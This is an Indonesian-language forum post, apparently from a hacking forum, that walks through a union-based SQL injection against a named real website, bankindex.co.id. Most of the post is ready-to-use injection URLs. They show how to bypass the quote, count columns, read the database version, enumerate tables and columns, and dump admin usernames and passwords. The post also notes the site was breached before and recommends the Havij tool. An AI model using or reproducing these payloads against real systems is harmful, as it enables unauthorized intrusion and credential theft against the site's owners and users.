3xtr3m3b0y wrote:Menurut analisa bego sy, query di listingnya kira2 seperti ini :
$query = "SELECT * FROM table_promo where no='$no'";
Perhatikan bagian:
no='$no'
Setiap entry parameter no akan diubah ke STRING, sehingga kira2 query-nya akan sperti ini:
SELECT * FROM table_promo where no='110'
dan ketika kita menyisipkan perintah order by akan sprt ini:
SELECT * FROM table_promo where no='110 order by 100'
Tapi sy sendiri belum paham, mengapa parameter yg kita masukkan tetap dianggap sama dgn yg ada di database...??? Padahal string yg dimasukkan sdh berbeda. Mohon rekan2 web programmer bisa menjelaskan kpd kami2 para Newbie...
Web ini sdh pernah disusupi koq, mgkn telah dilakukan perubahan :
http://www.bankindex.co.id/news/
Pertanyaan sy, ada gak caranya agar tanda petik itu bisa diabaikan, sehingga entry kemudian dibaca sebagai numeric...
Menjawab pertanyaan sy sendiri terkait masalah di atas, berikut solusinya agar tanda quote dapat di abaikan:
Code: Select all
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1 and 'a'='a
Sehingga hasil query-nya kira2 seperti ini:
SELECT * FROM table_promo where no='110' union select 1 and 'a'='a'
Jadi untuk mengecek jumlah kolom kira2 akan seperti ini :
Code: Select all
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,2,3,4,5 and 'a'='a
Check MySQL Version:
Code: Select all
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,version(),3,4,5 and 'a'='a
Untuk mengecek nama tabel kita harus menggunakan subselect:
Code: Select all
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3,4,5 and 'a'='a
Untuk melihat tabel berikutnya tinggal merubah limitnya.
Mengecek nama kolom:
Code: Select all
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select column_name from information_schema.columns where table_name=0x61646d696e limit 0,1),3,4,5 and 'a'='a
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select column_name from information_schema.columns where table_name=0x61646d696e limit 1,1),3,4,5 and 'a'='a
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select column_name from information_schema.columns where table_name=0x61646d696e limit 2,1),3,4,5 and 'a'='a
Wanna see the columns content...???
Code: Select all
http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select concat(user,0x3a,pass) from admin limit 0,1),3,4,5 and 'a'='a
Untuk User selanjutnya tinggal mengubah limit saja...
Ok, that's all...
Ref:
1. Havij (I think this one of the best tool for SQL Injection)
2. Wireshark (I use it to analyze how is Havij working...???)
...n0 l1m17...